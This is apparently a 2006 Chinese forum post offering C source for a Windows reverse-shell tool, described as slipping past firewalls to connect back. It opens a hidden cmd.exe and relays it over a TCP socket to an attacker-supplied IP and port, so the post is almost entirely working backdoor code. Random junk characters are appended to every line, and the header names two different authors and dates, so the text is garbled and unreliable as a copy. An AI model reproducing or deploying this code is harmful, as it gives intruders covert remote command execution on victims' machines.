Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 JG@Zb}b  
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/* ============================== =lL)g"xX  
Rebound port in Windows NT Tr, zV  
By wind,2006/7 n@J>,K_B  
===============================*/ 's$/-AV  
#include F!P,%JmI<  
#include *hh iIiog+  
j-wKm_M#jX  
#pragma comment(lib,"wsock32.lib") rW+}3] !D/  
+ aWcK6  
void OutputShell(); P?+ VR=t  
SOCKET sClient; r%%@~ \z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G,6 i!M  
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void main(int argc,char **argv) 3g5D[>J'  
{ A}i>ys  
WSADATA stWsaData; sLf~o"yb  
int nRet; 5YLc4z*  
SOCKADDR_IN stSaiClient,stSaiServer; qfF2S  
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if(argc != 3) [<X ~m  
{ s?PB ]Tr
 
printf("Useage:\n\rRebound DestIP DestPort\n"); 1V-sibE  
return; eE@7AM  
} oE)xL%*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); '`j MNKn\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DS;.)P"  
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stSaiClient.sin_family = AF_INET; ( ;_AP.  
stSaiClient.sin_port = htons(0); ie7P^:T|+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Nt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *A0*.>@N  
{ izR#XeBm  
printf("Bind Socket Failed!\n"); nI/kX^Pd  
return; -_bDbYL  
} .dj}y jd]f  
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stSaiServer.sin_family = AF_INET; o90[,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N'Vj& DWC  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r`e6B!p  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1^2]~R9,9  
{ h$p}/A  
printf("Connect Error!"); oz7=1;r  
return; qoEZ>  
} .x1.`Y   
OutputShell(); =.qPjp_Qd  
} G$2Pny<!  
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void OutputShell() ,_@) IN  
{ Uurpho_~  
char szBuff[1024]; =KHX_ib  
SECURITY_ATTRIBUTES stSecurityAttributes; {Rn*)D9  
OSVERSIONINFO stOsversionInfo; ]PB95%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7Ac.^rv5  
STARTUPINFO stStartupInfo; 60l!3o"p!  
char *szShell; MHS|gR.c  
PROCESS_INFORMATION stProcessInformation; q><wzCnRu~  
unsigned long lBytesRead; ;A0ZcgF  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oSl}A,aQ(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cbW=kQc_  
stSecurityAttributes.lpSecurityDescriptor = 0; qNUd "%S  
stSecurityAttributes.bInheritHandle = TRUE; @]L$eOV_  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t-Ble  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o1H6E1$=  
B/B`=%~5_^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &_' evZ
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V!s#xXD}  
stStartupInfo.wShowWindow = SW_HIDE; fC/P W`4Ae  
stStartupInfo.hStdInput = hReadPipe; F(w<YU%6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %&eBkN!T  
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GetVersionEx(&stOsversionInfo); 1*:BOoYx  
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switch(stOsversionInfo.dwPlatformId) m?=J;r"Re  
{ P`y.3aK  
case 1: {x~r$")c?  
szShell = "command.com"; "ZuA._
 
break; :wfN+g=  
default: 4wx{i6  
szShell = "cmd.exe"; NKRm#  
break; Ct$\!|aR  
} D8`SI21P  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W+Ou%uv}S  
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send(sClient,szMsg,77,0); e@PY(#ru  
while(1) [_*?~  
{ `:d\L H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A2.4#Qb'  
if(lBytesRead) bL|$\'S  
{ pxCQ=0k  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z}Vg4\x&  
send(sClient,szBuff,lBytesRead,0); 0|,Ij$  
}
c=re(  
else 3pyE'9"f6  
{ \ *A!@T  
lBytesRead=recv(sClient,szBuff,1024,0); WUb] 8$n  
if(lBytesRead<=0) break; NKiWt Z"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [}5mi?v  
} E`|vu*l7  
} J^zB5W,)  
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return; f67t.6Vw2+  
}